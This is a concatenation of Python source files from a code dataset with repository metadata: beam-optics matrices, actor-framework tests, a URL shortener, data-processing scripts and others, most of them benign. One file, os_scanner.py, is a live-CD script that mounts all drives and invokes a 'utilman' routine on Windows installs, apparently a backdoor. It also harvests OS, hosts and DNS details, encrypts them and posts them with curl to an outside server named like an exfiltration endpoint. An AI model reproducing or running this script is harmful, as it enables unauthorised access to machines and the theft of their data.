self.ay[probe]*self.ay[other])*torch.sin(fy))**2/(4.0*self.by[probe]*self.by[other]**3) sigma_transport[:, 3, 2] += sigma_fy**2*((1.0 + self.ay[probe]*self.ay[other])*torch.cos(fy) + (self.ay[probe] - self.ay[other])*torch.sin(fy))**2/(self.by[probe]*self.by[other]) sigma_transport[:, 3, 3] += self.sigma_by[probe]**2*(torch.cos(fy) - self.ay[other]*torch.sin(fy))**2/(4.0*self.by[probe]*self.by[other]) sigma_transport[:, 3, 3] += self.sigma_ay[other]**2*self.by[probe]*torch.sin(fy)**2/self.by[other] sigma_transport[:, 3, 3] += self.sigma_by[other]**2*self.by[probe]*(torch.cos(fy) - self.ay[other]*torch.sin(fy))**2/(4.0*self.by[other]**3) sigma_transport[:, 3, 3] += sigma_fy**2*self.by[probe]*(self.ay[other]*torch.cos(fy) + torch.sin(fy))**2/self.by[other] sigma_transport.sqrt_() return (transport.squeeze(), sigma_transport.squeeze()) def make_transport(self) -> None: """ Set transport matrices between adjacent locations. self.transport[i] is a transport matrix from i to i + 1 Parameters ---------- None Returns ------- None """ probe = torch.arange(self.size, dtype=torch.int64, device=self.device) other = 1 + probe self.transport, _ = self.matrix(probe, other) def matrix_transport(self, probe:int, other:int) -> torch.Tensor: """ Generate transport matrix from probe to other using self.transport. Parameters ---------- probe: int probe location other: int other location Returns ------- transport matrix (torch.Tensor) """ if isinstance(probe, str): probe = self.name.index(probe) if isinstance(other, str): other = self.name.index(other) if probe < other: matrix = self.transport[probe] for i in range(probe + 1, other): matrix = self.transport[int(mod(i, self.size))] @ matrix return matrix if probe > other: matrix = self.transport[other] for i in range(other + 1, probe): matrix = self.transport[int(mod(i, self.size))] @ matrix return torch.inverse(matrix) def normal(self, probe:torch.Tensor) -> tuple: """ Generate uncoupled normal matrix (or matrices) for given locations. Note, twiss parameters are treated as independent variables in error propagation Parameters ---------- probe: torch.Tensor probe locations Returns ------- uncoupled normal matrices and error matrices(tuple) """ if isinstance(probe, int): probe = torch.tensor([probe], dtype=torch.int64, device=self.device) if isinstance(probe, str): probe = torch.tensor([self.model.name.index(probe)], dtype=torch.int64, device=self.device) probe = mod(probe, self.size).to(torch.int64) matrix = torch.zeros((len(probe), 4, 4), dtype=self.dtype, device=self.device) sigma_matrix = torch.zeros_like(matrix) matrix[:, 0, 0] = self.bx[probe].sqrt() matrix[:, 1, 0] = -self.ax[probe]/self.bx[probe].sqrt() matrix[:, 1, 1] = 1.0/self.bx[probe].sqrt() matrix[:, 2, 2] = self.by[probe].sqrt() matrix[:, 3, 2] = -self.ay[probe]/self.by[probe].sqrt() matrix[:, 3, 3] = 1.0/self.by[probe].sqrt() sigma_matrix[:, 0, 0] += self.sigma_bx[probe]**2/(4.0*self.bx[probe]) sigma_matrix[:, 1, 0] += self.sigma_ax[probe]**2/self.bx[probe] + self.sigma_bx[probe]**2*self.ax[probe]/(4.0*self.bx[probe]**3) sigma_matrix[:, 1, 1] += self.sigma_bx[probe]**2/(4.0*self.bx[probe]**3) sigma_matrix[:, 2, 2] += self.sigma_by[probe]**2/(4.0*self.by[probe]) sigma_matrix[:, 3, 2] += self.sigma_ay[probe]**2/self.by[probe] + self.sigma_by[probe]**2*self.ay[probe]/(4.0*self.by[probe]**3) sigma_matrix[:, 3, 3] += self.sigma_by[probe]**2/(4.0*self.by[probe]**3) return (matrix.squeeze(), sigma_matrix.sqrt().squeeze()) def main(): pass if __name__ == '__main__': main()

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0.112821

0

null

0

null

0

1

0

e9b44aa1e89f954d4739decd6c84438a72e8d03d

5,445

py

Python

thespian/test/test_troupe.py

dendron2000/Thespian

0acbc5a0803f6d2be3421ea6eb08c6beecbf3802

[ "MIT" ]

null

thespian/test/test_troupe.py

dendron2000/Thespian

0acbc5a0803f6d2be3421ea6eb08c6beecbf3802

[ "MIT" ]

null

thespian/test/test_troupe.py

dendron2000/Thespian

0acbc5a0803f6d2be3421ea6eb08c6beecbf3802

[ "MIT" ]

null

import time import datetime from thespian.test import * from thespian.actors import * from thespian.troupe import troupe max_listen_wait = datetime.timedelta(seconds=4) max_ask_wait = datetime.timedelta(seconds=2.5) class Bee(Actor): def receiveMessage(self, msg, sender): if isinstance(msg, tuple): time.sleep(msg[0]) self.send(sender, msg[1] + ' buzz') @troupe() class Hive(Bee): pass @troupe() class Colony(ActorTypeDispatcher): def receiveMsg_tuple(self, msg, sender): if not hasattr(self, 'hive'): self.hive = self.createActor(Hive) self.asker = [] self.asker.append(sender) self.send(self.hive, msg) self.troupe_work_in_progress = True def receiveMsg_str(self, msg, sender): self.send(self.asker.pop(), msg) self.troupe_work_in_progress = bool(getattr(self, 'asker', False)) # Ensure there are more test data elements than workers so that # some workers get multiple messages testdata = [(0.5, 'Fizz'), (1, 'Honey'), (0.25, 'Flower'), (0.75, 'Pollen'), ] + ([(0.005, 'Orchid'), (0.005, 'Rose'), (0.005, 'Carnation'), (0.005, 'Lily'), (0.005, 'Daffodil'), (0.005, 'Begonia'), (0.005, 'Violet'), (0.005, 'Aster'), ] * 3) def useActorForTest(asys, bee): # Run multiple passes to allow workers to be reaped between passes for X in range(2): print(X) for each in testdata: asys.tell(bee, each) remaining = testdata[:] for readnum in range(len(testdata)): rsp = asys.listen(max_listen_wait) assert rsp print(str(rsp)) remaining = [R for R in remaining if not rsp.startswith(R[1])] assert not remaining asys.tell(bee, ActorExitRequest()) def testSingleBee(asys): useActorForTest(asys, asys.createActor(Bee)) def testHive(asys): useActorForTest(asys, asys.createActor(Hive)) def testColony(asys): useActorForTest(asys, asys.createActor(Colony)) # ------------------------------------------------------------ class SimpleSourceAuthority(ActorTypeDispatcher): def receiveMsg_str(self, msg, sender): self.registerSourceAuthority() self.send(sender, 'ok') def receiveMsg_ValidateSource(self, msg, sender): self.send(sender, ValidatedSource(msg.sourceHash, msg.sourceData)) class LoadWatcher(ActorTypeDispatcher): def receiveMsg_str(self, msg, sender): if msg == 'go': self.notifyOnSourceAvailability(True) self._tell = sender self.send(sender, 'ok') elif msg == 'stop': self.notifyOnSourceAvailability(False) self._tell = None def receiveMsg_LoadedSource(self, loadmsg, sender): if getattr(self, '_tell', None): self.send(self._tell, loadmsg.sourceHash) def receiveMsg_UnloadedSource(self, unloadmsg, sender): if getattr(self, '_tell', None): self.send(self._tell, ('unloaded', unloadmsg.sourceHash)) import tempfile, zipfile, os, shutil @pytest.fixture() def source_zip(request): tmpdir = tempfile.mkdtemp() zipfname = os.path.join(tmpdir, 'hivesrc.zip') hivezip = zipfile.ZipFile(zipfname, 'w') hivezip.writestr('__init__.py', '') hivezip.writestr('forest/__init__.py', '') hivezip.writestr('forest/clearing/__init__.py', '') hivezip.writestr('forest/clearing/beehive.py', ''' import time from thespian.actors import * from thespian.troupe import troupe class Bee(Actor): def receiveMessage(self, msg, sender): if isinstance(msg, tuple): time.sleep(msg[0]) self.send(sender, msg[1] + ' buzz') @troupe() class Hive(Bee): pass @troupe() class Colony(Bee): def receiveMessage(self, msg, sender): if isinstance(msg, tuple): if not hasattr(self, 'hive'): self.hive = self.createActor(Hive) self.asker = [] self.asker.append(sender) self.send(self.hive, msg) self.troupe_work_in_progress = True elif isinstance(msg, str): self.send(self.asker.pop(), msg) self.troupe_work_in_progress = bool(self.asker) ''') hivezip.close() request.addfinalizer(lambda d=tmpdir: os.path.exists(d) and shutil.rmtree(d)) return zipfname def testLoadableHive(asys, source_zip): r = asys.ask(asys.createActor(SimpleSourceAuthority), 'go', max_ask_wait) assert r == 'ok' r = asys.ask(asys.createActor(LoadWatcher), 'go', max_ask_wait) assert r == 'ok' srchash = asys.loadActorSource(source_zip) r = asys.listen(max_listen_wait) assert r == srchash bee = asys.createActor('forest.clearing.beehive.Hive', sourceHash=srchash) useActorForTest(asys, bee) def testLoadableColony(asys, source_zip): r = asys.ask(asys.createActor(SimpleSourceAuthority), 'go', max_ask_wait) assert r == 'ok' r = asys.ask(asys.createActor(LoadWatcher), 'go', max_ask_wait) assert r == 'ok' srchash = asys.loadActorSource(source_zip) r = asys.listen(max_listen_wait) assert r == srchash bee = asys.createActor('forest.clearing.beehive.Colony', sourceHash=srchash) useActorForTest(asys, bee)

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180

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0.014815

0

null

0

null

0

1

0

e9b739710ac88a977ee95593a167d4e063e1ba18

1,197

py

Python

tools/upd.py

vladimirivanoviliev/amps-blog-web-grid-bake-off

25c24e1fbfc57df4e669487957dd440b338c7847

[ "MIT" ]

3

2017-10-21T01:37:03.000Z

2021-07-22T16:08:02.000Z

tools/upd.py

vladimirivanoviliev/amps-blog-web-grid-bake-off

25c24e1fbfc57df4e669487957dd440b338c7847

[ "MIT" ]

2

2020-01-15T22:50:18.000Z

2020-07-19T14:55:28.000Z

tools/upd.py

vladimirivanoviliev/amps-blog-web-grid-bake-off

25c24e1fbfc57df4e669487957dd440b338c7847

[ "MIT" ]

5

2020-01-27T13:52:04.000Z

2020-10-28T07:38:46.000Z

from AMPS import Client import random import time import json import sys def main(*args): publish_rate = None # publish as fast as possible by default try: publish_rate = int(args[0]) start = int(args[1]) end = int(args[2]) except Exception: pass # set up the client client = Client('the-publisher') client.connect('tcp://localhost:9007/amps/json') client.logon() while True: # generate and publish data current_id = random.randint(start, end) price_usd = random.randint(20000, 30000) quantity = random.randint(1, 100) total = price_usd * quantity client.publish( 'orders', json.dumps({ 'order_id': current_id, 'name': '>>> TESLA UPDATE <<<', 'price_usd': price_usd, 'quantity': quantity, 'total': total }) ) if publish_rate is not None and publish_rate > 0: time.sleep(1.0 / publish_rate) if __name__ == '__main__': # detect command line arguments if len(sys.argv) > 1: main(*sys.argv[1:]) else: main()

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0

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49

66

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0

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0

1

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false

0.026316

0.131579

0

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0

null

0

null

0

1

0

e9bbd39d6d8b86209c5aaf7a41e2a233bc9104f2

4,815

py

Python

functions/height.py

Hilvcha/PINGAN

0eb1435750c2ce3dc5de3a50d390aae044360fd5

[ "MIT" ]

7

2018-04-01T17:24:56.000Z

2021-06-07T09:39:52.000Z

functions/height.py

Hilvcha/PINGAN

0eb1435750c2ce3dc5de3a50d390aae044360fd5

[ "MIT" ]

5

2018-03-31T18:24:52.000Z

2019-10-09T16:27:49.000Z

functions/height.py

Hilvcha/PINGAN

0eb1435750c2ce3dc5de3a50d390aae044360fd5

[ "MIT" ]

2

2020-03-04T08:48:54.000Z

2021-06-07T09:39:51.000Z

# coding : utf-8 # created by wyj import numpy as np import pandas as pd import math from utils.feature_utils import df_empty # TERMINALNO,TIME,TRIP_ID,LONGITUDE,LATITUDE,DIRECTION,HEIGHT,SPEED,CALLSTATE,Y # 对传入的表按trip_id分组，取每组的海拔的最大连续子数组，对每个人的所有行程的子数组取最大，平均, 方差。 # def max_sub(arr): # sum = 0 # height = -999 # tempheight = arr.iloc[0] # for h in arr: # sum += h - tempheight # if sum > height: # height = sum # if sum < 0: # sum = 0 # tempheight = h # arr['secc_inc']=sum # return arr def speed_risk(arr): # 上坡的最大子数组 # sum = 0 # height = -999 tempheight = arr['HEIGHT'].iloc[0] tempdirection = arr['DIRECTION'].iloc[0] tempspeed = arr['SPEED'].iloc[0] # 海拔变化危险系数 height_risk = 0 # 方向变化危险系数 dir_risk = 0 # 通话危险系数 call_risk = 0 for index, row in arr.iterrows(): # sum += row['HEIGHT'] - tempheight # if sum > height: # height = sum # if sum < 0: # sum = 0 if tempspeed > 0 and row["CALLSTATE"] != 4: if row["CALLSTATE"] == 0: call_risk += math.exp(tempspeed / 10) * 0.02 else: call_risk += math.exp(tempspeed / 10) D_height = abs(row['HEIGHT'] - tempheight) D_speed = abs(row['SPEED'] - tempspeed) height_risk += math.pow(row["SPEED"], D_height / 100) tempspeed = row['SPEED'] tempheight = row['HEIGHT'] D_direction = min(abs(row["DIRECTION"] - tempdirection), abs(360 + tempdirection - row["DIRECTION"])) / 90.0 dir_risk += math.pow((row["SPEED"] / 10), D_direction / 10) tempdirection = row['DIRECTION'] # arr['SUCC_INC'] = height arr["CALLSTATE"] = call_risk arr['HEIGHT'] = height_risk arr['DIRECTION'] = dir_risk return arr def height_feet(data): # 加入了危险系数 data_speed_risk = data[["TERMINALNO", 'TRIP_ID', 'HEIGHT', 'SPEED', 'DIRECTION', "CALLSTATE"]].groupby( ["TERMINALNO", 'TRIP_ID'], as_index=False).apply( speed_risk) # 为tripid聚合 data_speed_risk = data_speed_risk[ ["TERMINALNO", 'TRIP_ID', 'HEIGHT', 'DIRECTION', "CALLSTATE"]].groupby( ["TERMINALNO", 'TRIP_ID'], as_index=False).first() # max_data = data_speed_risk[["TERMINALNO", 'SUCC_INC']].groupby(["TERMINALNO"], as_index=True).max() # mean_data = data_speed_risk[["TERMINALNO", 'SUCC_INC']].groupby(["TERMINALNO"], as_index=True).mean() # var_data = data_speed_risk[["TERMINALNO", 'SUCC_INC']].groupby(["TERMINALNO"], as_index=True).var() # train_data=pd.concat([max_data, mean_data, var_data], axis=1) # train_data.columns = ['MAX_SUCC_INC', 'MEAN_SUCC_INC', 'VAR_SUCC_INC'] train_data = data_speed_risk[["TERMINALNO", 'HEIGHT', 'DIRECTION', "CALLSTATE"]].groupby( ["TERMINALNO"], as_index=True).sum() # 时间统计特征 height_sta = data[['TERMINALNO', "HEIGHT"]].groupby(['TERMINALNO']).agg([np.mean, np.var]) # 最大行程时间 max_time = data[['TERMINALNO', "TRIP_ID", "TIME"]].groupby(["TERMINALNO", 'TRIP_ID'], as_index=False).count() max_time = max_time[['TERMINALNO', 'TIME']].groupby(["TERMINALNO"]).max() # 速度统计特征 speed_sta = data[['TERMINALNO', "SPEED"]].groupby(['TERMINALNO']).agg([np.mean, np.max]) # # 平均下 # height_down = data[['TERMINALNO', "TRIP_ID", "HEIGHT"]].groupby(["TERMINALNO", 'TRIP_ID'], as_index=False).agg( # maxSubArray) # height_down = height_down[['TERMINALNO', "HEIGHT"]].groupby(['TERMINALNO']).agg([np.mean, np.min]) # # 平均上坡 # height_up = data[['TERMINALNO', "TRIP_ID", "HEIGHT"]].groupby(["TERMINALNO", 'TRIP_ID'], as_index=False).agg( # minSubArray) # height_up = height_up[['TERMINALNO', "HEIGHT"]].groupby(['TERMINALNO']).agg([np.mean, np.max]) train_data = pd.concat([train_data, height_sta, max_time, speed_sta,], axis=1) train_data.columns = ['height_risk', 'direction_risk', "callstate_risk", "height_mean", "height_var", "max_time", "speed_mean", "speed_max",] return train_data # 'TERMINALNO', 'maxTime', 'phonerisk', 'dir_risk', 'height_risk', 'speed_max', # 'speed_mean', 'height_mean', 'Zao', 'Wan', 'Sheye' def maxSubArray(arr): height = 99999 sum = 0 tempheight = arr.iloc[0] for h in arr: sum += h - tempheight if sum < height: height = sum if sum > 0: sum = 0 tempheight = h return height def minSubArray(arr): height = -99999 sum = 0 tempheight = arr.iloc[0] for h in arr: sum += h - tempheight if sum > height: height = sum if sum < 0: sum = 0 tempheight = h return height

32.979452

117

0.586708

586

4,815

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0.087564

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0.042311

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0.389257

0.355776

0.33039

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0

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145

118

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0

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0

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false

0

0.054795

0

0.164384

0

null

0

null

0

1

0

e9bc10c08079eec1973b577a0d5e59f56835d97e

2,850

py

Python

live_cd_scripts/os_scanner.py

ForbiddenApplePy/applepy

4eb0965f7f634b0f340beee54dce09c12e3e4f54

[ "WTFPL" ]

null

live_cd_scripts/os_scanner.py

ForbiddenApplePy/applepy

4eb0965f7f634b0f340beee54dce09c12e3e4f54

[ "WTFPL" ]

null

live_cd_scripts/os_scanner.py

ForbiddenApplePy/applepy

4eb0965f7f634b0f340beee54dce09c12e3e4f54

[ "WTFPL" ]

null

#!/usr/bin/python # -*- coding: utf-8 -*- import sys import os import json import windows_utilman import pyAesCrypt import requests from secureCrypt import cryptResult os.system('loadkeys fr') os.system('lsblk > result.txt') if os.path.exists('/mnt/targetDrive'): pass else: os.system('mkdir /mnt/targetDrive') def parse(file_name): # Listing all drives and removing special char from the command return and saving them to a file result = [] with open(file_name) as input_file: for line in input_file: temp_arr = line.split(' ') for item in temp_arr: if '└─' in item or '├─' in item: result.append(item.replace('└─', '').replace('├─', '')) os.remove(file_name) return result def check_for_os(list): # Checking for OS installed on the drive os_list = {'Os': 'location'} hosts = {'Host': 'address'} servers = {"DNS": "address"} for drive in drives_list: os.system('mount /dev/%s /mnt/targetDrive' % (drive)) print('Looking for OS on '+drive+'...\n') if os.path.isdir('/mnt/targetDrive/Windows'): # Checking for Windows installation os_list['Windows'] = drive windows_utilman.utilman() elif os.path.isdir('/mnt/targetDrive/etc'): # Looking for Linux and grabbing files f = open('/mnt/targetDrive/etc/issue') for x in f: # Listing distros x = x.split() x = x[:len(x)-2] x = ' '.join(x) if x != '': os_list[x] = drive f = open('/etc/hosts') for x in f: # Checking hosts x = x.split() hosts[x[1]] = x[0] f = open('/etc/resolv.conf') for x in f: # Checking DNS x = x.split() if x: if x[0] != "#": if x[0] == "options": pass else: servers[x[0]] = x[1] results = [] results.append(os_list) results.append(hosts) results.append(servers) return results # Program starts here drives_list = parse("result.txt") results = check_for_os(drives_list) # Saving results as json file json = json.dumps(results) if os.path.exists('results.json'): f = open('results.json', 'w') else: f = open('results.json', 'x') f.write(json) f.close() # Crypting file before sending it to our server and removing the base file just in case cryptResult("results.json") os.remove("results.json") # Sending file to the server os.system('curl -i -X POST -H "Content-Type: multipart/form-data" -F "host=test" -F "file=@results.json.aes" https://exft.avapxia.tk/')

29.6875

135

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369

2,850

4.181572

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0.01361

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0

0.004139

0.321754

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95

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0.15493

0

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0

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0.028169

0.098592

0

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0.014085

0

null

0

null

0

1

0

e9bd49e911285196dc03e66b536b44da7fb8a285

2,336

py

Python

app/views.py

taeram/idiocy

01acf569785f0294540a1b0214b8eccd81818b9c

[ "MIT" ]

null

app/views.py

taeram/idiocy

01acf569785f0294540a1b0214b8eccd81818b9c

[ "MIT" ]

1

2019-12-06T21:20:10.000Z

2019-12-06T21:20:11.000Z

app/views.py

taeram/idiocy

01acf569785f0294540a1b0214b8eccd81818b9c

[ "MIT" ]

null

from app import app import os from flask import abort, \ redirect, \ render_template, \ request, \ send_from_directory, \ url_for from .helpers import generate_code, \ is_valid_url, \ is_authenticated, \ strip_file_extension from .database import db, \ Urls from .filters import strip_www @app.route('/favicon.ico') def favicon(): return send_from_directory(os.path.join(app.root_path, 'static'), 'favicon.png', mimetype='image/png') @app.route('/', methods=['GET', 'POST', 'HEAD']) def shorten(): if request.method == 'GET': return render_template('hello.html') elif request.method == 'POST': if not is_authenticated(): return app.response_class(response='{"error": "Invalid API key"}', mimetype='application/json', status=403) url = request.form['url'].strip() if not is_valid_url(url): return app.response_class(response='{"error": "Invalid URL"}', mimetype='application/json', status=403) # Has this URL been previously stored? row = db.session.query(Urls).\ filter(Urls.url == url).\ first() if not row: row = Urls(url=url, code=generate_code()) db.session.add(row) db.session.commit() return strip_www(url_for('bounce', code=row.code, _external=True)) @app.route('/<code>', methods=['GET', 'DELETE']) def bounce(code): code = strip_file_extension(code) row = db.session.query(Urls).\ filter(Urls.code == code).\ first() if not row: abort(404) if request.method == 'GET': row.clicks += 1 db.session.add(row) db.session.commit() return redirect(row.url) elif request.method == 'DELETE': db.session.delete(row); db.session.commit() return strip_www(url_for('bounce', code=row.code, _external=True)) @app.route('/list', methods=['GET']) def list(): urls = db.session.query(Urls).\ order_by(Urls.created).\ limit(25).\ all() return render_template('list.html', urls=urls)

31.146667

119

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0.043028

0.3251

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0

0.007467

0.312072

2,336

74

120

31.567568

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0

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1

0

e9bfd30a608b29439adc950385f985d929b086eb

1,443

py

Python

prepare_dataset/filter_ratio_and_warnings.py

Florian-Barthel/stylegan2

4ef87038bf9370596cf2b729e1d1a1bc3ebcddd8

[ "BSD-Source-Code" ]

null

prepare_dataset/filter_ratio_and_warnings.py

Florian-Barthel/stylegan2

4ef87038bf9370596cf2b729e1d1a1bc3ebcddd8

[ "BSD-Source-Code" ]

null

prepare_dataset/filter_ratio_and_warnings.py

Florian-Barthel/stylegan2

4ef87038bf9370596cf2b729e1d1a1bc3ebcddd8

[ "BSD-Source-Code" ]

null

from tqdm import tqdm import shutil import os from PIL import Image import warnings src_folder = '../../modified_datasets/cars_flat' dest_folder = '../../modified_datasets/cars_flat_ratio_warnings' if not os.path.exists(dest_folder): os.makedirs(dest_folder) num_kept = 0 num_removed = 0 num_corrupt_EXIF = 0 for file in tqdm(os.listdir(src_folder)): if file.lower().endswith(".jpg") or file.lower().endswith(".jpeg") or file.lower().endswith(".png"): src_img = src_folder + '/' + file dest_img = dest_folder + '/' + file src_label = src_folder + '/' + file + '.json' dest_label = dest_folder + '/' + file + '.json' with warnings.catch_warnings() as my_warning: warnings.simplefilter('error', UserWarning) try: img = Image.open(src_img) w, h = img.size if w < h: print('removed invalid ratio') num_removed += 1 continue shutil.copyfile(src_img, dest_img) if os.path.exists(src_label): shutil.copyfile(src_label, dest_label) num_kept += 1 except: print('removed invalid format') num_corrupt_EXIF += 1 print('Summary:') print('removed corrupt_exif: ' + str(num_corrupt_EXIF)) print('removed: ' + str(num_removed)) print('kept: ' + str(num_kept))

31.369565

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0.582121

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1,443

4.545455

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0.0525

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0.075

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0.297297

1,443

45

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0.157895

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null

0

null

0

1

0

e9c1766ed44cd38de086fdbbfdce35e66d2ab6f5

2,548

py

Python

src/backend/apps/posts/utils.py

Vixx-X/ati-project

0ef80772a6fc3807e401cf58b9e15f3628373383

[ "MIT" ]

null

src/backend/apps/posts/utils.py

Vixx-X/ati-project

0ef80772a6fc3807e401cf58b9e15f3628373383

[ "MIT" ]

61

2021-06-10T03:27:06.000Z

2022-03-12T01:01:34.000Z

src/backend/apps/posts/utils.py

Vixx-X/ati-project

0ef80772a6fc3807e401cf58b9e15f3628373383

[ "MIT" ]

null

from mongoengine.queryset.visitor import Q from backend.apps.posts.models import Post from backend.apps.user.signals import check_comment_signal from backend.apps.user.utils import are_friends def _get_two_last_obj_with_path(path_list): size = len(path_list) if not size: raise Exception("path_list cannot be empty") pk = path_list[0] if size == 1: post = Post.objects.get(id=pk) return post, post parent, son = _get_two_last_obj_with_path(path_list[1:]) parent = son son = son.comments.get(id=pk) return parent, son def get_two_last_obj_with_path(path): return _get_two_last_obj_with_path(path.split("/")[::-1]) def get_object_by_path(path): _, son = _get_two_last_obj_with_path(path) return son def save_comment_by_path(path, comment): """ Saving comment inserting it in root comment or post, given that we only have 2-depth comments """ parent, son = get_two_last_obj_with_path(path) if isinstance(parent, Post) and not isinstance(son, Post): son.comments.append(comment) else: parent.comments.append(comment) post = get_object_by_path(path.split("/")[0]) post.save() # notify son author check_comment_signal.send(comment.author, son.author) def get_comments(obj, page=1, size=10, path=None): start = (page - 1) * size end = start + size raiz = [] for com in obj.comments[start:end]: curr = com.as_dict() childs = [] for child in com.comments[: size / 2]: c = child.as_dict() c["reply"] = path.split("/") + [curr["id"], c["id"]] childs.append(c) setattr(curr, "comments", childs) curr["reply"] = path.split("/") + [curr["id"]] junior = {"comments": curr, "more": path.split("/") + [curr["id"]]} raiz.append(junior) ret = {"comments": raiz} if len(raiz) == size: ret["more"] = path.split("/") return raiz def get_comments_by_path(path, page, size): comment = get_object_by_path(path) return get_comments(comment, page, size, path) def get_main_posts(requester): return Post.objects.filter( Q(public=True) or Q(author__in=requester.friends) ).order_by("-time_created") def get_posts_by_user(user, requester): friends = are_friends(user, requester) priv_filter = Q() if friends else (Q(public=True) | Q(author=requester)) filter_param = Q(author=user) & priv_filter return Post.objects.filter(filter_param).order_by("-time_created")

29.627907

76

0.654631

367

2,548

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0.26703

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0.037783

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0.108312

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0

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0.214678

2,548

85

77

29.976471

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0.131148

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0.327869

0

null

0

null

0

1

0

e9c3402cd5440828a3062f0ffd949c6878c6a821

5,340

py

Python

openslides_backend/action/actions/projector/toggle.py

ostcar/openslides-backend

e6ceac497c37a1e3e7f408c6cfb29cf21d985b4c

[ "MIT" ]

5

2020-01-20T13:57:15.000Z

2021-03-27T14:14:44.000Z

openslides_backend/action/actions/projector/toggle.py

ostcar/openslides-backend

e6ceac497c37a1e3e7f408c6cfb29cf21d985b4c

[ "MIT" ]

859

2020-01-11T22:58:37.000Z

2022-03-30T14:54:06.000Z

openslides_backend/action/actions/projector/toggle.py

ostcar/openslides-backend

e6ceac497c37a1e3e7f408c6cfb29cf21d985b4c

[ "MIT" ]

16

2020-01-04T20:28:57.000Z

2022-02-10T12:06:54.000Z

from typing import Any, Dict, List from ....models.models import Projection, Projector from ....permissions.permissions import Permissions from ....shared.filters import And, FilterOperator from ....shared.patterns import Collection, FullQualifiedId, string_to_fqid from ....shared.schema import required_id_schema from ...generics.update import UpdateAction from ...util.assert_belongs_to_meeting import assert_belongs_to_meeting from ...util.default_schema import DefaultSchema from ...util.register import register_action from ...util.typing import ActionData from ..projection.create import ProjectionCreate from ..projection.delete import ProjectionDelete from ..projection.update import ProjectionUpdate @register_action("projector.toggle") class ProjectorToggle(UpdateAction): """ Action to toggle projections. """ model = Projector() schema = DefaultSchema(Projection()).get_default_schema( title="Projector toggle stable schema", required_properties=["content_object_id", "meeting_id"], optional_properties=["options", "type", "stable"], additional_required_fields={ "ids": { "type": "array", "items": required_id_schema, "uniqueItems": True, "minItems": 1, }, }, ) permission = Permissions.Projector.CAN_MANAGE def get_updated_instances(self, action_data: ActionData) -> ActionData: for instance in action_data: # check meeting ids from projector ids and content_object meeting_id = instance["meeting_id"] fqid_content_object = string_to_fqid(instance["content_object_id"]) assert_belongs_to_meeting( self.datastore, [fqid_content_object] + [ FullQualifiedId(Collection("projector"), id) for id in instance["ids"] ], meeting_id, ) for projector_id in instance["ids"]: stable = instance.get("stable", False) filter_ = And( FilterOperator("current_projector_id", "=", projector_id), FilterOperator( "content_object_id", "=", instance["content_object_id"] ), FilterOperator("stable", "=", stable), ) if instance.get("type"): filter_ = And( filter_, FilterOperator("type", "=", instance["type"]) ) result = self.datastore.filter( Collection("projection"), filter_, ["id"] ) if result: projection_ids = [id_ for id_ in result] if stable: self.execute_other_action( ProjectionDelete, [{"id": id_} for id_ in projection_ids] ) else: self.move_projections_to_history(projector_id, projection_ids) else: data: Dict[str, Any] = { "current_projector_id": projector_id, "stable": stable, "type": instance.get("type"), "content_object_id": instance["content_object_id"], "options": instance.get("options"), "meeting_id": meeting_id, } if not stable: self.move_all_unstable_projections_to_history( projector_id, meeting_id ) yield {"id": projector_id, "scroll": 0} self.execute_other_action(ProjectionCreate, [data]) def move_projections_to_history( self, projector_id: int, projection_ids: List[int] ) -> None: max_weight = self.get_max_projection_weight(projector_id) for projection_id in projection_ids: self.execute_other_action( ProjectionUpdate, [ { "id": int(projection_id), "current_projector_id": None, "history_projector_id": projector_id, "weight": max_weight + 1, } ], ) max_weight += 1 def get_max_projection_weight(self, projector_id: int) -> int: filter_ = FilterOperator("history_projector_id", "=", projector_id) maximum = self.datastore.max(Collection("projection"), filter_, "weight", "int") if maximum is None: maximum = 0 return maximum def move_all_unstable_projections_to_history( self, projector_id: int, meeting_id: int ) -> None: filter_ = And( FilterOperator("meeting_id", "=", meeting_id), FilterOperator("current_projector_id", "=", projector_id), FilterOperator("stable", "=", False), ) result = self.datastore.filter(Collection("projection"), filter_, ["id"]) if result: self.move_projections_to_history(projector_id, [int(id_) for id_ in result])

40.763359

88

0.548876

481

5,340

5.804574

0.2079

0.082736

0.032235

0.039398

0.230659

0.184814

0.166905

0.043696

0

0.001454

0.35618

5,340

130

89

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0.810646

0.016105

0

0.128205

0

0.096029

0

0.017094

1

0.034188

false

0

0.119658

0

0.196581

0

null

0

null

0

1

0

e9c3d07f73748d2980ffa18343832a605023692e

3,235

py

Python

sfftk_migrate/__init__.py

emdb-empiar/sfftk-migrate

fc8941082256456edb61fe22ecbf932f6258352a

[ "Apache-2.0" ]

null

sfftk_migrate/__init__.py

emdb-empiar/sfftk-migrate

fc8941082256456edb61fe22ecbf932f6258352a

[ "Apache-2.0" ]

2

2020-04-02T15:25:10.000Z

2020-04-03T14:32:12.000Z

sfftk_migrate/__init__.py

emdb-empiar/sfftk-migrate

fc8941082256456edb61fe22ecbf932f6258352a

[ "Apache-2.0" ]

null

""" sfftk-migrate ============== This is a simple tool to allow users to easily migrate older versions of EMDB-SFF files to the latest (supported version). It has only one dependency: `lxml` which effects part of the migrations. Presently it only works with XML (.sff) EMDB-SFF files. How does it work? ----------------- Each migration consists of two components: 1. a Python module which implements a `migrate` function, and 2. an XSL stylesheet which defines how the `source` is transformed into the `target` The `migrate` function in (1) has the following signature: .. code-block:: python def migrate(infile, outfile, stylesheet, args, encoding='utf-8', **params): ... where `infile` and `outfile` are the names of the source and target files, `stylesheet` is the XSL file, `args` is the argument namespace, `encoding` defines what encoding the outfile will be writing in, and `**params` is a dictionary of any params specified in the XSL file. Please reference https://www.w3schools.com/xml/xsl_intro.asp on how XSL works. Migrations are effected using the `migrate.do_migration` function which has the following signature: .. code-block:: python def do_migration(args, value_list=None, version_list=VERSION_LIST): ... Lessons learned in using `lxml` --------------------------------- * etree.parse() takes XML files/file objects and returns an ElementTree * etree.XML() takes a string and returns an Element regardless of the content * etree.ElementTree(root_element) converts an element into an ElementTree * etree.XSLT() takes an ElementTree or Element object and returns a transformer object; a transformer object should take an ElementTree (but seems to also take Element objects) * the result of a transformation is an _XSLTResultTree which behaves like an ElementTree but submits to str() from: https://lxml.de/xpathxslt.html#xslt-result-objects It is possible to pass parameters, in the form of XPath expressions, to the XSLT template: >>> xslt_tree = etree.XML('''\ ... <xsl:stylesheet version="1.0" ... xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> ... <xsl:param name="a" /> ... <xsl:template match="/"> ... <foo><xsl:value-of select="$a" /></foo> ... </xsl:template> ... </xsl:stylesheet>''') >>> transform = etree.XSLT(xslt_tree) >>> doc_root = etree.XML('<a><b>Text</b></a>') The parameters are passed as keyword parameters to the transform call. First, let's try passing in a simple integer expression: >>> result = transform(doc_root, a="5") 